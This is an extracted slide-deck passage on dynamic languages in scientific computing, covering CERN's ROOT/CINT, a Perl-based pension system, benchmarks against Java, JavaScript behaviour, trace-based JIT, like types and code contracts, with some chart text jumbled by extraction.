  • 21. Ideal Interpreter 4.  study: CERN & CINT case Smooth transition to compiled code, with compiler or conversion to compiled language • From 1991,5.  Straight-forward use: reflection/ easy language. 400KLOC; parser, interpreter, known • Interface to 6.  Possible extensions with>20k users to e.g. C++ ROOT data analysis framework, conversion Ideally: J=8"1GH*"2"G#8=(*'(*#8"";$2"G#8=(.* Higher level syntax Faster 0"G#=8/$2"G#8=(7Q*0"*4*RS* Threading #8""T7U"#B81(GHM<<8"..D5$2"G#8=(.5V*0"ES* J=8*D'(#*'4RS*'/0";.'W"DES*XX'E*K* **$2"G#8=(Q*"2"G#8=(*4*0"@'FS* Antcheva, Ballintijn, Bellenot, Biskup, Brun, Buncic, Canal, Casadei, Couet, Fine, Franco, Ganis, Gheata, Gonzalez Maline, 2010-09-03 VEESC 2010 • Philippe Canal, Fermilab 17 Goto, Iwaszkiewicz, Kreshuk, Segura, Maunder, Moneta, Naumann, Offer, Onuchin, Panacek, Rademakers, Russo, Tadel. ROOT — A C++ framework for petabyte data storage, statistical analysis and visualization. Computer Physics Comm. 2009 41 case study: Perl Pluto … manages the retirement savings of 5.5 million users … for a value of 23 billion Euros 320 000 lines of Perl 68 000 lines of SQL 27 000 lines of shell 26 000 lines of HTML Lundborg, Lemonnier. PPM or how a system written in Perl can juggle with billions. Freenix 2006 Lemonnier. Testing Large Software With Perl. Nordic Perl Workshop 2007 Stephenson. Perl Runs Sweden's Pension System. O’Reilly On Lamp, 2005 42
  • 22. case study: Perl High productivity: Perl wins over Java Disciplined use of the language: Many features disallowed Home-brewed contract notation: Runtime checked Lightweight Single threaded Reflective Embeddable Portable High-level Data Extendible Dynamic Typing Permissive Failure oblivious Interactive Open 43 case study: Perl contract(‘do_sell_current_holdings’) -> in(&is_person, &is_date) -> out(&is_state) -> enable; sub do_sell_current_holdings { my ($person, $date) … if ($operation eq “BUD_”) { … return $state; } 44
  • 23. Performance 45 All benchmarks / Java (geo mean) Run time 100 Fannkuch time / Java 96.17 50.0 82.01 42.46 75 37.5 50 28.91 17.90 25 14.81 12.98 15.57 9.45 9.32 25.0 1.00 0 16.47 ruby python perl php java scala jruby jython groovy 12.5 3.60 3.99 4.27 Fasta time / Java 2.27 1.00 1.93 375.63 400 0 ruby python perl php java scala jruby jython groovy 300 200 ! Dynamic languages often 100 64.46 69.29 21.50 22.12 much slower than Java 0 ruby python perl php 1.00 java 1.27 scala jruby jython groovy Mandelbrot time / Java ! C interpreters: ~2-5x 1500 1187.64 ! can be 12x faster, 145x slower 1125 ! Java interpreters: ~16-43x 750 419.52 ! up to 1200x slower 375 105.08 19.42 26.83 20.24 1.00 37.12 0 © Nate Nystrom, ’07 ruby python perl php java scala jruby jython groovy 46
  • 24. Performance Does not matter for… … short running and I/O bound codes But, when performance matters… … rewrite applications in C and lose benefits of dynamism 47 Truth iness correctness is crucial static types are better speed requires compilation programs are documents 48
  • 25. Dynamic languages are a gateway drug to… … programming … language design 49 Types slow down development… ...and rarely express the properties of interest 50
  • 26. Designing better dynamic languages is a challenge best left to… ...statisticians? ...physicists? … web designers? 51 how dynamic is dynamic Richards, Lebresne, Burg, Vitek, An Analysis of the Dynamic Behavior of JavaScript Programs. PLDI’10 52
  • 27. 0.4 Google 0.2 Objects 0.0 are dead 1.0 Dead Read 0.8 Update Add Delete Writes 0.6 0.4 Adds Adds Adds Deletes Reads 0.2 0.0 53 1.0 aries 1.0 s in- Dead tion, 0.8 0.8 Sunspider Dead Read Read Update Update Add lt on Add Delete Delete ence 0.6 0.6 pro- sets 0.4 oned 0.4 y of- 0.2 Be- 0.2 char- o be 0.0 0.0 1.0 ch as 1.0 dis- Google Dead Dead Read ). Read 0.8 Update 0.8 Update Add Add Delete Delete 0.6 0.6 e the 0.4 sing 0.4 ative 0.2 rtic- 0.2 ange ray- 0.0 0.0 54
  • 28. mance of a system on real sites and a guide for implementers. We Does it matter? 14.0 Amazon9 Performance$Relative$to$Firefox$1.5$ 13.0 12.0 Sunspider30.9.1 13.4$ 11.0 10.0 9.0 8.0 7.0 6.0 5.0 4.0 3.1$ 3.0 2.0 Figure 19. Cross-browser comparison. Impact of DOM ope 1.0 ations on throughput. (number normalized to the replay withou 0.0 DOM; average over five runs; lower is better) Firefox31.5 Firefox32.0 Firefox33.0 Firefox33.5 Firefox33.6.12 igure 18. Speed Vitek. Automated Construction of JavaScript Benchmarks different ver- 55 Richards, Gal, Eich, ups. Throughput improvements of OOPSLA11 Figure 20 shows the relative cost of enabling event processin ons of Firefox. (sunspider, amazon; FF1.5 - FF 3.6.12) Measure- in replay as the ratio of the running times. In many browsers, th ments on an HPZ800, dual Xeon E5630 2.53Ghz, 24GB memory, cost of event processing for the bing benchmark is relatively high Windows 7 64-bit Enterprise. Numbers normalized to FF 1.5. and as high as 77x in the case of Safari5. This may be becaus 12 2011/4/1 Trace - based Compilation Bebenita, Brandner, Fahndrich, Logozzo, Schulte, Tillmann, Venter. SPUR: A Trace-Based JIT Compiler for CIL. OOPSLA10 56
  • 29. We go from this ... for  (var  n  =  0;  n  <  1000;  n++)  {   for  (var  n2  =  0;  n2  <  1000;  n2++)  { for  (var  i  =  0;  i<a.length-­‐1;  i++)  {       var  tmp  =  a[i];         a[i]  =  a[i+1];         a[i+1]  =  tmp;     }   } }  35  method  calls,  129  guards,  224  total  instruc8ons 57 to this ...  35  method  calls,  129  guards,  224  total  instruc8ons 58
  • 30. back to…  10  loop  instruc8ons,  2  loop  guards!  Performance  7x  faster  than  the  CLR  based  JScript,  and  slightly  faster  than  V8 59 Static and dynamic type checking Dynamic type checking is great: • anything goes, until it doesn't; Static type checking is great: • a program can be run even when crucial pieces are missing • catches bugs earlier; • • enables faster execution. Can they co-exist in the same design? Wrigstad, Zappa Nardelli, Lebresne, Ostlund, Vitek, Integrating Typed and Untyped Code in a Scripting Language. POPL’10 60
  • 31. Like types Introduce a novel type construct that mediates between static and dynamic. still flexible flexible fast static like type dynamic catch errors catch some errors class Point(var x:Int, var y:Int) { def getX():Int = x; def getY():Int = y; def move(p:like Point) { x := p.getX(); y := p.getY(); } } • Compiler checks that operations on like C variables are well-typed • Does not restrict binding of like C variables 61 Code Contracts Fähndrich, Barnett, Logozzo: Embedded contract languages. SAC'10 Fahndrich, Logozzo. Clousot: Static Contract Checking with Abstract Interpretation. FoVeOOS’10 62
  • 32. Use code to specify code… T Pop(){ Contract.Requires(!this.isEmpty); Contract.Ensures(Contract.Result<T>()!= null); return this.a[--next]; } 63 Conclusion Dynamic languages increase the velocity of science Dynamic languages are a gateway drug to computing Dynamic languages need some static features, some of the time 64